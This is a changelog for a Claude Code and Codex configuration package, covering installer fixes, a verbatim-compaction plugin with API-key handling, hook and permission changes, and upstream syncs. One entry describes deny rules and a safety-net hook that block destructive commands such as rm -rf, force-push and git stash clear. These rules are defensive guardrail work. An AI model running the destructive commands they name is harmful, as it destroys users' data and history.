  • A DevTools MCP server you already run under another name no longer gets a second copy from cc-settings. The Aside browser registers aside-devtools, which runs chrome-devtools-mcp, the package cc-settings ships as chrome-devtools. Both loaded meant every DevTools tool schema twice per turn, and deleting ours by hand lasted one install because the merge re-added any team entry ~/.claude.json lacked. The installer now compares the npm package behind bunx/npx entries and skips a team server whose package a differently named user entry already runs (duplicateTeamServers in src/lib/mcp.ts). A user entry that only shares the name is still handled by the existing shadowing rule. /qa and /lighthouse note that the mcp__<name>__ prefix follows the registered server name.
  • Files changed: src/lib/mcp.ts, tests/mcp.test.ts, skills/qa/SKILL.md, skills/lighthouse/SKILL.md, four version sites.

[15.22.0] — 2026-09-18

  • ENABLE_TOOL_SEARCH drops from auto:50 to auto:10, so MCP tool schemas defer instead of riding along on every turn. On a 1M-window model the 50% threshold never triggered. Measured in one Fable session: the fixed context floor was ~121K tokens (cache-read prefix on the first turn after compaction) and the first turn after every compaction already sat at 146K to 148K, so the 150K compaction trigger left 46K to 80K of real conversation per window and compaction ran five times in 48 minutes. The floor after this change is not yet measured; check the first-turn cache_creation_input_tokens on a fresh session.
  • The compaction-trigger plugin (0.2.0) copies TYPESAFE_API_KEY from the settings env block into the process env before each compaction request. The verbatim plugin reads the env first, so a session started before a key rotation kept sending the old key: three of that session's five compactions fell back to the built-in summary on a 401 and took 67 to 70 seconds each instead of 1.2 to 1.4 seconds. Whether $.env.set in one plugin is visible to another plugin's $.env.get in the same session is not yet verified live; the fallback path is unchanged if it is not.
  • The compaction threshold itself stays at 150K. Widening it was considered and rejected: on Opus and Sonnet it would cross the 200K long-context line, and both compaction paths rewrite everything after the fixed prefix, so fewer, later compactions cost more per turn without saving cache writes.

Files changed: config/10-core.json, plugins/compaction-trigger/hooks/trigger.ts, plugins/compaction-trigger/.claude-plugin/plugin.json, tests/compaction-trigger.test.ts, src/scripts/session-start.ts, docs/settings-reference.md, docs/hooks-reference.md, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md

[15.21.3] — 2026-09-18

  • A TypeSafe key supplied to the installer (--typesafe-key=<key> or the prompt) is now also written as TYPESAFE_API_KEY into the settings env block. Since 15.21.0 it went only into the plugin's sensitive apiKey option, which nothing but the compaction plugin can read, so the session banner kept reporting native compaction and no hook or script could use Jev. Later installs keep the value (the env merge is user-wins). Re-run setup.sh --typesafe-key=<key> to write it on an existing install.

Files changed: src/lib/claude-install-settings.ts, src/lib/install-display.ts, tests/typesafe-key-persist.test.ts, docs/install.md, docs/hooks-reference.md, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md

[15.21.2] — 2026-09-18

  • Hook if filters now live on each hook action instead of the matcher group. Claude Code only evaluates if on the action object, so the group-level filters on the pre-commit, pre-PR, pre-push, and package-install hooks were never applied (the scripts self-gate, so behavior was unchanged, but each spawned on every Bash call). Worse, claude plugin marketplace add and claude plugin install rewrite settings.json without the unknown group key, which the installer runs after fingerprinting the hooks block, so every session since 15.21.0 started with a hooks-fingerprint mismatch warning. Reproduced on Claude Code 2.1.276 with an isolated CLAUDE_CONFIG_DIR. Re-run setup.sh to clear the warning.

Files changed: config/40-hooks.json, src/schemas/hooks.ts, src/scripts/pre-commit-tsc.ts, docs/hooks-reference.md, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md

[15.21.1] — 2026-09-18

  • The TypeSafe key prompt now hides input. The 15.21.0 prompt let readline run the terminal in its own raw mode, where readline echoes keystrokes itself and stty -echo has no effect, so the key appeared on screen. The prompt now reads a plain line with echo off; Ctrl+C still skips.
  • The installer runs claude plugin marketplace update cc-settings before installing, so a plugin added in the same release is visible; marketplace add alone does not refresh an existing registration, which is why 15.21.0 could not install compaction-trigger on upgrade.

Files changed: src/lib/prompts.ts, src/lib/claude-install-settings.ts, src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md

[15.21.0] — 2026-09-18

Long sessions can now compact without losing their text. cc-settings adopts fast-jev-compaction, a Claude Code function-hooks plugin that, at compaction time, asks TypeSafe's Jev model which tool calls and results are still needed and removes only those, keeping every user and assistant message verbatim. Native compaction is a summary; this keeps file paths, error text, and decisions intact.

  • Function hooks enabled. CLAUDE_CODE_ENABLE_FUNCTION_HOOKS=1 in the composed env (early access, Claude Code 2.1.274+). docs/hooks-reference.md gains a "Function hooks (early access)" section with a plain-language explainer of Jev and the compaction, its cost (input $0.042 per million tokens, output free), and its limits.

  • Upstream pinned, trigger replaced. Settings declare the fast-jev-compaction marketplace pinned to commit e3f262a and enable the plugin with its own percentage trigger disabled (compactAtPercent: 100). A new cc-settings plugin, plugins/compaction-trigger, requests compaction from turn.complete when context.tokens passes 150,000 (configurable, with a 3-turn backoff), so compaction tracks the 200K working ceiling instead of 60% of a 1M window, which on a 200K model would have summarized every 30K tokens.

  • Installer. The full profile registers both marketplaces and installs both plugins through the claude CLI, fail-open, skipped for the light profile, under CC_SETTINGS_SKIP_PLUGIN_INSTALL=1, or whenever HOME resolves inside the OS temp directory, which is how every test sandbox looks, so no test can reach the real plugin store or the network. An interactive install prompts once for a TypeSafe key with input hidden; --typesafe-key=<key> supplies it non-interactively. The key is stored through the plugin's sensitive apiKey option in Claude Code's secure storage, never in a managed file, and is redacted from every printed line. Without a key the install says so and compaction stays native.

  • Settings schema declares enabledPlugins and pluginConfigs; the SessionStart banner reports whether verbatim compaction is active; the uninstall summary names the plugins and the removal command.

  • Key prompt. Input is hidden through stty -echo around a standard readline question, and Ctrl+C or Enter skips the key instead of aborting the install (the first raw-mode version hung under Bun and a Ctrl+C there left a half-copied install that both reinstall and rollback refused; restoring the drifted files from the run's backup tarball clears that state). The plugin summary line names only the plugins that actually installed. The compaction-trigger install needs this release on GitHub main first, because the cc-settings marketplace is fetched from there; on the machine that publishes a release, run claude plugin marketplace update cc-settings && claude plugin install compaction-trigger@cc-settings after the push.

Files changed:

  • plugins/compaction-trigger/ (new: manifest, hooks/trigger.ts, types, tsconfig), tests/compaction-trigger.test.ts, tests/plugin-key-redaction.test.ts (new)
  • .claude-plugin/marketplace.json, config/10-core.json, src/schemas/settings.ts, schemas/settings.schema.json
  • src/setup.ts, src/lib/install-types.ts, src/lib/claude-install-settings.ts, src/lib/install-display.ts, src/lib/install-lifecycle.ts, src/lib/prompts.ts, src/scripts/session-start.ts, setup.sh, setup.ps1
  • tests/install-e2e.test.ts, tests/settings-merge.test.ts, tests/plugin-manifest.test.ts, tests/setup-args.test.ts
  • README.md, docs/hooks-reference.md, docs/install.md, docs/settings-reference.md, docs/cache-strategy.md, CLAUDE-FULL.md
  • package.json, tsconfig.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.20.0] — 2026-09-17

Two follow-ups from the usage-insights report, plus the repair they immediately paid for.

  • git branch -D and git stash drop ask instead of deny. Both are reflog-recoverable for about 90 days, and they were the two most frequent mid-session interruptions. config/30-permissions.json moves them (and git branch -d -f) from deny to a new ask list, and safety-net.ts no longer hard-blocks them; git stash clear, force-push, the DELETE API rules, and the rm -rf set stay denied. SECURITY.md and the settings reference say why.
  • Repo-local pre-commit invariants. .claude/settings.json in this repository wires .claude/hooks/pre-commit-invariants.ts, a PreToolUse hook that runs the fast invariant tests (prompt byte ceilings, skill/agent/profile lints, manifests, schemas, docs sync, version drift) before every git commit and blocks on failure. It is not installed anywhere; it guards this repo's own main branch, which takes direct pushes. The full suite still runs before a PR.
  • Prompt budgets restored. The first dry run of that hook found that 15.18.0 and 15.19.0 had pushed AGENTS.md and the output style past their byte ceilings. Both are trimmed back under budget: the AGENTS.md knowledge sections are merged into one, examples that the docs already carry are gone, and the four newest guardrails are tightened without losing a rule.

Files changed:

  • .claude/settings.json, .claude/hooks/pre-commit-invariants.ts (new)
  • config/30-permissions.json, src/hooks/safety-net.ts, tests/safety-net.test.ts
  • AGENTS.md, output-styles/darkroom.md, SECURITY.md, docs/settings-reference.md, CLAUDE.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.19.0] — 2026-09-17

Six guidance changes from the 2026-09-17 usage-insights report, which found that most interruptions were permission denials, and that two failed sessions were OS-level blockers no iteration rule caught.

  • Denied-command handoff (CLAUDE-FULL.md Autonomy, Codex adapter): a denied command is never retried, split, or rephrased. It goes into ~/.claude/tmp/handoff-<session>.sh, the user gets one ! bash <path> line, and work continues on what does not depend on it. Long runs enumerate their privileged commands into that script up front.
  • Stop-loss on environment blockers (AGENTS.md, /fix): an OS, device, vendor, or network blocker gets about 20 minutes or 30 tool calls, then a written diagnosis (ruled out with evidence, likely cause, ranked next options) instead of another attempt.
  • Shell commands (AGENTS.md): quote globs and paths, absolute paths over cd chains, one destructive step per command so a denial or failure stops exactly one thing.
  • Swarm git ownership (/orchestrate, maestro): the lead owns every git operation; subagents never commit, stash, or switch branches.
  • /ship checks for an existing PR on the branch before gh pr create.
  • The clarifying round names which repository, host, machine, or branch a request targets when more than one is in play.

Files changed:

  • AGENTS.md, CLAUDE-FULL.md, codex/AGENTS.append.md, agents/maestro.md
  • skills/fix/SKILL.md, skills/orchestrate/SKILL.md, skills/ship/SKILL.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.18.0] — 2026-09-17

Non-trivial work now opens with one interactive round of clarifying questions. The guidance used to say "ask only for a decision the user owns", so the interactive question tool was reached for by three skills and rarely otherwise; answering a few concrete questions up front has proven the cheapest way to avoid a wrong build.

  • New guardrail in AGENTS.md, "Clarify Before Full Work Mode": when a task crosses the delegation bar (3+ files, 12+ tool calls, security-sensitive code) or its readings diverge, ask up to 4 questions through the host's interactive tool, each with 2 to 4 options and the recommendation first, then start. One round; read before asking; ask only what the user alone knows.
  • The Darkroom output style and CLAUDE-FULL.md carry the same rule for Claude Code (AskUserQuestion). The Codex adapter explains that request_user_input exists only in Plan mode, so a non-trivial task switches to Plan mode (/plan) for the round and back to Pair or Execute mode for the work.
  • /build gains an ASK verdict between GO and NO-GO; /fix and /refactor open with a clarify step.
  • The UserPromptSubmit breadth hook now adds the reminder to its nudge when a prompt crosses the threshold.

Files changed:

  • AGENTS.md, CLAUDE-FULL.md, output-styles/darkroom.md, codex/AGENTS.append.md
  • skills/build/SKILL.md, skills/fix/SKILL.md, skills/refactor/SKILL.md
  • src/hooks/delegation-detector.ts, docs/system-overview.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.17.1] — 2026-09-17

Docs only. The README's "What cc-settings adds" section now compares a vanilla Claude Code or Codex install with a cc-settings install request by request ("fix this bug", "ship it", a force-push, a drizzle-kit push), then lists the pieces with their counts: standards, 38 skills, 10 role agents, 36 hooks on 18 events, model routing, 4 MCP servers, team knowledge, ownership and rollback. docs/system-overview.md gains a short "Compared with a vanilla install" section that points at it.

Files changed:

  • README.md, docs/system-overview.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.17.0] — 2026-09-17

team-knowledge was write-only in practice: /share-learning posted notes, but an agent only ever saw a note count at session start and never a title. This release adds a read path and folds the generic notes into the rules and profiles that load anyway.

  • The index cache (~/.claude/tmp/knowledge-index.json, 6h TTL) now stores kind, hook line, and tags per note, parsed from the corpus INDEX.md. The corpus's index builder emits tags on every line (- [kind: name](name.md) — hook · tags: a, b); that format is the contract, documented in docs/knowledge-system.md.
  • New PreToolUse hook knowledge-hint.ts (matcher Bash|Edit|Write) surfaces up to 3 notes whose tags or slug words match the command or edited file, once per note per session, via the additionalContext envelope. Scoring: a curated tag scores 3, a slug-only word 2, a generic word 1, threshold 3; state lives in ~/.claude/tmp/knowledge-hints.json, pruned to 30 sessions. Cache-only, never the network, fail-open.
  • The SessionStart banner now gives the gh api read command. /fix, /lighthouse, /build, and /ship gain a one-line, fail-open "check the index" step at the point a gotcha would bite.
  • Folded into cc-settings: frame-loop rules (no layout reads in per-frame callbacks, quantized custom-property writes) in rules/react-perf.md; "History Belongs in Git, Not in Code" in AGENTS.md; cacheComponents guidance in profiles/nextjs.md; GPU resource ownership and the software-renderer mount gate in profiles/webgl.md; the post-dev-server AGENTS.md diff check in rules/git.md.
  • Corpus cleanup on darkroomengineering/team-knowledge: four obsolete cc-settings and board-era notes removed, two rewritten to current behaviour, seven folded notes point at their cc-settings copy. This repo's CLAUDE.md now requires rewriting or deleting a note in the same push that closes the bug it documents.
  • Claude managed-files manifest v10 and Codex runtime manifest v8 carry the two new source files; earlier versions stay frozen.

Files changed:

  • src/hooks/knowledge-hint.ts, src/lib/knowledge-hint.ts, tests/knowledge-hint.test.ts (new)
  • src/lib/knowledge-index.ts, src/lib/team-knowledge.ts, tests/knowledge-index.test.ts, tests/team-knowledge.test.ts
  • config/40-hooks.json
  • src/lib/claude-managed-file-manifests.ts, src/lib/codex-runtime-manifests.ts, src/lib/install-source-inventory.ts
  • rules/react-perf.md, rules/git.md, profiles/nextjs.md, profiles/webgl.md, AGENTS.md
  • skills/fix/SKILL.md, skills/lighthouse/SKILL.md, skills/build/SKILL.md, skills/ship/SKILL.md
  • docs/knowledge-system.md, docs/hooks-reference.md, docs/settings-reference.md, CLAUDE.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.16.0] — 2026-09-16

/cc sync now tracks the Codex CLI as a second upstream, since Codex is a first-class install target.

  • New upstream/codex-manifest.json records the latest stable @openai/codex version the repo was triaged against (baseline 0.154.0), the Codex surfaces the installer writes or reads (agents/*.toml fields, rules/darkroom.rules, the plugin manifest and hooks, the config.toml keys codex:skill-budget and migrate:codex-skills read), and per-window notes. The surfaces list is reference-only: there is no zod schema for Codex config, so the scanner cannot diff it.
  • bun run upstream:scan fetches both npm packages and reports drift per upstream. CI keeps running it.
  • /cc sync gains a Codex track: release notes come from gh release view rust-v<X> -R openai/codex per stable tag (alpha and Python SDK tags are ignored), a Codex cross-reference table points at the installer files, and Phase 6 bumps both manifests. When only one upstream drifts, the skill runs the remaining phases for that one.
  • tests/plugin-manifest.test.ts checks both manifests parse with semver versions and that the skill documents both.

Files changed:

  • upstream/codex-manifest.json (new)
  • src/upstream/scan.ts
  • skills/cc/SKILL.md
  • tests/plugin-manifest.test.ts
  • docs/codex.md, CLAUDE.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.15.0] — 2026-09-16

Sync with Claude Code v2.1.273 (from v2.1.270; 2.1.272 was bug fixes only).

Adopted:

  • omitClaudeMd agent frontmatter (v2.1.271) — optional boolean in src/schemas/agent.ts, documented in docs/frontmatter-reference.md and the subagent-context note in CLAUDE-FULL.md. A subagent with it runs without user, project, and local CLAUDE.md while managed policy files still load. No cc-settings agent sets it, because AGENTS.md standards reach subagents through the CLAUDE.md hierarchy; the doc says to restate critical rules in such an agent's prompt.
  • Three env vars tracked in the manifest and docs/settings-reference.md: CLAUDE_CODE_GATEWAY_HINT_HEADERS (v2.1.273, opt-in gateway hint request headers), CLAUDE_CODE_AUTO_MODE_SERVER (v2.1.273, server-side auto-mode classifier on Bedrock, Vertex and Foundry now that local is the default), and CLAUDE_CODE_SKIP_FAST_MODE_ORG_CHECK (pre-existing; v2.1.271 makes an API fast-mode rejection stand for the session).
  • modelPricing.multiplier may exceed 1, up to 10, for marked-up internal chargeback (v2.1.271). Schema already loose; docs updated.

Docs-only:

  • Dynamic workflow medium guideline is under 10 agents, down from 15, and Pro plans default to small (v2.1.271): skills/orchestrate/SKILL.md, skills/audit/SKILL.md, workflowSizeGuideline row.
  • Auto mode: inline ! shell commands in skills follow default-mode permission rules, subagent hand-back is classifier-reviewed, and Monitor watches always carry a deadline with the persistent option removed (v2.1.271).
  • SendMessage to a session that holds the message for approval now leaves a delivery notice (v2.1.271).
  • permissions.blockReadsOutsideWorkingDirectories also keeps a repo-chosen memory directory out of the prompt (v2.1.273).
  • OTEL_LOG_TOOL_DETAILS adds real agent, skill, plugin and MCP server names to cost metrics (v2.1.273).

Deletions / Native-now-redundant: none. The Bash permission-checker fixes and the 2.1.268 revert do not overlap permissions-check.ts.

Fix: AGENTS.md had been over its 16 KiB always-loaded ceiling since v15.14.1 added the Swift animation bullet, failing tests/plugin-manifest.test.ts. Tightened that bullet and six other paragraphs without dropping a rule; the file is now 3 bytes under.

Files changed:

  • src/schemas/agent.ts
  • upstream/claude-code-manifest.json
  • docs/frontmatter-reference.md
  • docs/settings-reference.md
  • CLAUDE-FULL.md
  • skills/orchestrate/SKILL.md
  • skills/audit/SKILL.md
  • AGENTS.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

[15.14.2] — 2026-09-16

  • codex:skill-budget estimated listing overhead at 48 characters per skill; a live Codex run showed 12 descriptions still trimmed while the report said "under budget". Back-solved from Codex's own budget_limit line, the overhead is about 57 characters per entry, so the estimator now uses 64 and an under-budget verdict means Codex renders every description whole.

[15.14.1] — 2026-09-16

  • The Swift animation frame-rate bar now reaches Codex and every other AGENTS.md consumer: a short Performance bullet in AGENTS.md carries the rule's decisions and points at rules/swift-animation.md for the full text. Codex has no path-scoped rules, so this is the portable form.

[15.14.0] — 2026-09-16

  • Codex "skill descriptions were shortened" now has a measuring tool and correct guidance. bun run codex:skill-budget reads config.toml, walks every enabled plugin and user skill directory, and reports description characters per source against the budget, the longest descriptions (trimmed first), and which single plugin would cover the overshoot if disabled. It exits 1 when over and never edits config.toml. The docs previously told users to raise [skills] max_context_tokens; verified on codex-cli 0.154.0 that the key only lowers the 2% cap (10,000 tokens on gpt-6-astra), so docs/codex.md, docs/troubleshooting.md, and the lint-skills ceiling comment now say so. Claude manifest version 9, Codex runtime manifest version 7.
  • New rules/swift-animation.md, loaded for .swift files: SwiftUI animations at the display's maximum frame rate, distilled from WWDC23 session 10156 "Explore SwiftUI animation" (built-in animatable modifiers over custom Animatable, springs that merge and keep velocity, scoped .animation modifiers against accidental animations) plus the ProMotion unlock keys from Apple's docs and an Instruments verification bar. /audit motion points Swift targets at it. Full profile only; light installs carry no rules.
  • Default Claude Code to the classic renderer so terminal-native double-click selection and scrollback remain available. Stop forcing fullscreen with CLAUDE_CODE_NO_FLICKER; updates remove the old managed value when it still matches the installation baseline, while preserving explicit user renderer preferences. Correct the mouse-capture documentation.

[15.13.0] — 2026-09-13

  • Align delegation between hosts so a cc-settings user gets the same behavior in Claude Code and standalone Codex. Claude Code's delegation threshold drops from 20 to 12 tool calls, matching Codex (3+ files, 12+ tool calls, or security-sensitive code). The Codex adapter (codex/AGENTS.append.md) now carries the same routing table, the same MUST rows (tests, security, deslop, 3+ independent workstreams in parallel), the override-with-a-reason rule, the delegate-together-and-keep-working rule, resume-instead-of-respawn, and the implementer briefing contract, expressed in Codex's native spawn_agent / send_message / followup_task terms. Writers still share one working tree on Codex, so that difference stays documented rather than papered over.

[15.12.0] — 2026-09-13

Synced with Claude Code v2.1.270 (from v2.1.266). 2.1.270 is a single permission regression fix; the substantive entries are in 2.1.267 through 2.1.269. Three settings keys adopted, six env vars tracked, no dedupe.

Adopted:

  • maxEffortLevel (2.1.267) in src/schemas/settings.ts, the manifest, and docs/settings-reference.md: caps effort on every provider, top-level or per model under the new modelSettings container, which is modelled as a loose record so per-model keys survive parse. Matters because teams that pin CLAUDE_CODE_EFFORT_LEVEL now have a hard ceiling instead of a default.
  • bashEditDiffEnabled (2.1.269), same three files: the Bash tool result carries a diff of the files the command changed. Documented, not enabled in config/10-core.json.
  • gatewayInternalNetworks (2.1.268, managed), same three files: the org's own public IPv4 CIDRs allowed for gateway /login. Added for schema parity with the other managed keys.
  • Six env vars in the manifest and the env table: OTEL_METRICS_INCLUDE_REPOSITORY, CLAUDE_CODE_GATEWAY_MODEL_DISCOVERY_TIMEOUT_MS, CLAUDE_CODE_WORKFLOW_MAX_CONCURRENT_AGENTS, CLAUDE_CODE_BG_TASKS_REPORT_RUNNING, CLAUDE_CODE_RESUME_INTERRUPTED_TURN_MAX_AGE_MS (2.1.269), CLAUDE_CODE_WEBFETCH_DEADLINE_MS (2.1.268). skills/orchestrate/SKILL.md now says the 16-agent workflow concurrency cap is raisable.
  • Docs: /output-style [name] noted in CLAUDE-FULL.md (2.1.269); effort: frontmatter now honored on Fable 5 and Opus 4.7/4.8 in docs/frontmatter-reference.md (2.1.267); rules/git.md notes the native attribution reminder now yields to the no-attribution rule (2.1.269).

Deletions / Native-now-redundant: none. claude plugin eval scores plugin eval suites and does not overlap /autoresearch.

Files changed:

  • src/schemas/settings.ts
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • docs/frontmatter-reference.md
  • skills/orchestrate/SKILL.md
  • CLAUDE-FULL.md
  • rules/git.md
  • src/setup.ts
  • package.json
  • .claude-plugin/plugin.json
  • .codex-plugin/plugin.json
  • CHANGELOG.md

[15.11.0] — 2026-09-12

  • Route Codex calls by task shape: codex exec defaults to GPT-5.6 Sol, codex review and codex ask to GPT-6 Astra, with --model and CODEX_EXEC_MODEL / CODEX_REVIEW_MODEL / CODEX_ASK_MODEL overrides. The bridge refuses to run from inside a Codex session.
  • Give every native Codex agent a model derived from its Claude tier: judgment roles on Astra, execution roles on Sol. One routing table now drives both products.
  • Add the Codex-to-Claude reverse bridge: claude-run.ts review and ask call headless Claude Code (Opus 5 by default) read-only, refuse inside a Claude session, and report when the Codex sandbox has no network. A Codex-only claude-verifier agent wraps it. Both product manifests move to a new version to own the new files.

[15.10.0] — 2026-09-12

  • Narrow all 38 skill descriptions to the situations each skill handles, dropping topic-word triggers and most skip clauses, per OpenAI's GPT-6 Astra guidance on over-broad activation. Total description bytes drop from 8674 to 7408; the lint ceiling tightens to 7424.
  • Soften the portable AGENTS.md stopping rules: after two failed attempts, continue with the best alternative unless the choice changes the user's direction; local checks are granted up front instead of nagged; stating a plan is no longer read as waiting for approval.

[15.9.0] — 2026-09-12

  • Adapt the Codex bridge to GPT-6 Astra, following OpenAI's guidance on skills and prompts for it. codex exec now wraps every task in a completion contract (run the repo's local checks, fix what the change broke, do not stop after a first implementation, leave the diff uncommitted, report what was verified). codex review states the diff and the review contract instead of scripting git status and git diff steps.
  • Add persistence and boundary guidance to the standalone Codex adapter and to every native role agent: define done before starting, run local checks without asking at each step, and treat "ask first" language as covering destructive or irreversible actions only.
  • Document how to write tasks and AGENTS.md instructions for GPT-6 Astra in the Codex docs and the /codex skill.

[15.8.1] — 2026-09-11

  • Preserve personal settings across reinstalls by recording team contributions separately from merged snapshots. Serialize installer lock transitions and refresh isolated Git indexes so auto-update recognizes clean checkouts.
  • Capture binary checkpoint changes and validate restore material before resetting files. Isolate freeze boundaries by session, normalize removal targets, redact quoted and escaped credential assignments, and require generated ownership stamps before replacing project instructions.
  • Resolve renamed imports and generic method references in codemap caller queries; discover .mjs and .cjs sources without a tsconfig and include them in change impact.
  • Split installer responsibilities into bounded modules, share the explicit current runtime inventory, and ship the audit performance resources in both product installations while preserving historical ownership manifests.
  • Correct test-runner selection, optional build gates, SSR-safe hook guidance, animation cleanup, JSON-LD escaping, and path-containment examples. Align runtime and installer documentation with the corrected behavior.

[15.8.0] — 2026-09-09

Synced with Claude Code v2.1.266 (from v2.1.260). 2.1.262 and 2.1.264 have no changelog entry and 2.1.263 lists only "Bug fixes and reliability improvements"; the substantive entries are in 2.1.261 and 2.1.265. Two settings keys adopted, one key marked inert, one native command folded into the consolidate skill. This release also carries the unreleased cleanup below.

Adopted:

  • bashOutputMaxChars and taskOutputMaxChars (upstream 2.1.261) in src/schemas/settings.ts, the manifest, and docs/settings-reference.md. Positive integers up to 128000 that raise how much Bash and background-task output reaches the model inline before the rest spills to a file. Not set in config/10-core.json; it is a per-user knob.
  • keybindingFlavor is inert since upstream 2.1.261 (the prompt's word-editing keys always match Bash now). The schema keeps the key so files written for v2.1.238–v2.1.260 still parse; the docs say so.

Native-now-redundant:

  • /skill-doctor (upstream 2.1.261) measures which loaded skills went unused and their context cost. The consolidate skill's "remove unused skills" step now points at it instead of guessing; MANUAL.md mentions it next to /status and /hooks. Nothing deleted.

Skipped: --append-subagent-system-prompt-file, --plugin-dir folder-of-plugins, the 1 GB tool-result cap (no config surface); CLAUDE_CODE_USE_GATEWAY regression and fix (env vars are reference-only, never set here); prompt-cache fixes for resumed subagents, teammates, and forked skills, the /context local estimate, the rm -rf prompt hardening, the auto-mode diagram-URL rule (behavior only); gateway, Bedrock, Vertex, Remote Control, Windows, VSCode, plugin-marketplace, and MCP SSE-fallback entries.

Files changed:

  • src/schemas/settings.ts, schemas/settings.schema.json
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • skills/consolidate/SKILL.md
  • MANUAL.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • CHANGELOG.md

Cleanup (previously unreleased):

Removed unused parallelmax and per-tool failure counters, unread skill markers, unused Node package-manager detection, and the always-success provenance stub. Tool cadence now runs only for Bash and Agent calls; review-queue and signature tracking remain. Removed conflicting editing/review instructions, false React batching advice, obsolete defer guidance, and overstated npm-installer guarantees.

Fixed three audit findings: the safety-net checks every removal operand, MCP reinstalls retain unknown user fields, and custom-path hook audits verify the selected installation's source manifest. Existing cleanup for retired state and checksum verification remain intact.

[15.7.0] — 2026-09-04

Synced with Claude Code v2.1.260 (from v2.1.257). 2.1.258 was two fixes; 2.1.259 and 2.1.260 carried one managed settings key and one statusline payload extension for us. No dedupe this round.

Adopted:

  • managedMcpServers (upstream 2.1.259) in src/schemas/settings.ts, the manifest, and docs/settings-reference.md. Org-delivered HTTP/SSE MCP servers as an object keyed by server name in the .mcp.json mcpServers shape; modelled with the shared McpServers record. The binary honors it only from managed settings and exempts it from allowedMcpServers / deniedMcpServers, which now govern user-added servers only.
  • prompt_cache.last_miss_cause and prompt_cache.miss_causes (upstream 2.1.260) in src/hooks/statusline.ts. When the ♻ chip reads cold, it now appends the diagnosed cause, e.g. ♻42% cold ttl_expired_1h, so a TTL expiry is distinguishable from a tools or system-prompt change the user triggered.

Docs:

  • docs/settings-reference.md: allowedMcpServers scope narrowed to user-added servers (2.1.259); statusline note describes the cause suffix.
  • CLAUDE-FULL.md: /effort on Fable 5.1 no longer invalidates the prompt cache mid-session (2.1.260).

Skipped: --permission-prompts none, claude plugin validate --json, /diff, /reload-plugins in headless, /advisor text form (no config surface); the model: fable [1m] fix; earlier 1M auto-compact and the removed one-hour subagent background limit (behavior only); GitLab (pr.kind, glab mr); gateway, Bedrock, VSCode, Remote Control, and remaining fixes.

Files changed:

  • src/schemas/settings.ts, schemas/settings.schema.json
  • src/hooks/statusline.ts
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • CLAUDE-FULL.md
  • CHANGELOG.md, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, src/setup.ts

[15.6.2] — 2026-09-04

profiles/react-native.md gains a "Release & TestFlight" section. The profile previously ended at eas submit --platform ios, which reaches only internal tester groups and says nothing about versioning; that gap produced a closed-version rejection and non-monotonic build numbers across five Expo apps on 2026-09-04.

  • Freeze the marketing version during a beta and bump only the build number; only the first build per version string is reviewed, and a version that shipped to the App Store is closed for beta along with everything below it.
  • eas.json uses "appVersionSource": "remote" with autoIncrement: true so build numbers stay monotonic.
  • An EAS Workflow testflight job on app_store_connect.build_upload distributes every upload to the "Public Beta" external group with submit_beta_review: true; eas submit --groups cannot.
  • Pre-implementation checklist gains a matching item. Shared copy lives in team-knowledge as testflight-beta-versioning-and-eas-distribution.

[15.6.1] — 2026-09-02

Prompt audit against Claude Fable 5.1: removed instructions written for models that needed more pushing, and the hook text that repeated them every few tool calls.

  • output-styles/darkroom.md no longer suppresses closing summaries or caps lists at five; it asks for a summary when a message has several outcomes and for lists that stay scannable. rules/git.md drops the five-bullet PR cap for the same reason.
  • CLAUDE-FULL.md replaces the banned-phrase list in the Voice section with a positive description of the register; the no-em-dash house rule stays. Version-number parentheticals removed there and in skills/orchestrate/SKILL.md.
  • tool-cadence.ts no longer injects the "Delegation check" reminder or the follow-up "Delegation violation" soft block; the streak counter still runs. The review-queue nudge is now one line with the count and the limit. post-failure.ts no longer injects "Tool X has failed N times"; escalate-model.ts already covers repeated failures by signature.
  • agents/planner.md drops the "ALWAYS start by analyzing" booster; agents/deslopper.md drops the filled-in example report (the template stays); skills/autoresearch/SKILL.md replaces the STRENGTHEN mutation (which manufactured MUST/ALWAYS wording) with CLARIFY; skills/tldr/SKILL.md scopes the language rule to the opt-in llm-tldr engine, since the default engine detects the language itself.

[15.5.0] — 2026-09-01

Synced with Claude Code v2.1.257 (from v2.1.247), moved the default session model to Claude Fable 5.1, and adapted the prompt surface to it. Of the ten upstream releases, 2.1.248, 2.1.251, 2.1.252, and 2.1.257 carried substance; the rest were "bug fixes and reliability improvements". No dedupe this round — nothing upstream subsumed a script we maintain.

Adopted:

  • PreModelSwitch / PostModelSwitch hook events (upstream 2.1.251) in src/schemas/hooks.ts and the manifest, plus a new src/hooks/model-switch-guard.ts wired on PreModelSwitch with matcher .*fable.*|.*mythos.*: when the cached usage is ≥95% it answers ask with the pool numbers; at the critical band it answers allow with an annotation; otherwise it is silent. It never denies — the user owns the switch — and it does exactly one cached read because a timed-out PreModelSwitch hook blocks the switch (timeout pinned to 5s). Companion to the Fable 5.1 default below.
  • Statusline prompt_cache payload (upstream 2.1.251): src/hooks/statusline.ts renders a ♻NN% cache-hit-ratio chip after the ⚡ quota chip (green ≥80%, yellow ≥50%, red below; cold when the prefix expired; hidden until three requests). rate_limits.spend_limit typed for gateway users, no visual yet.
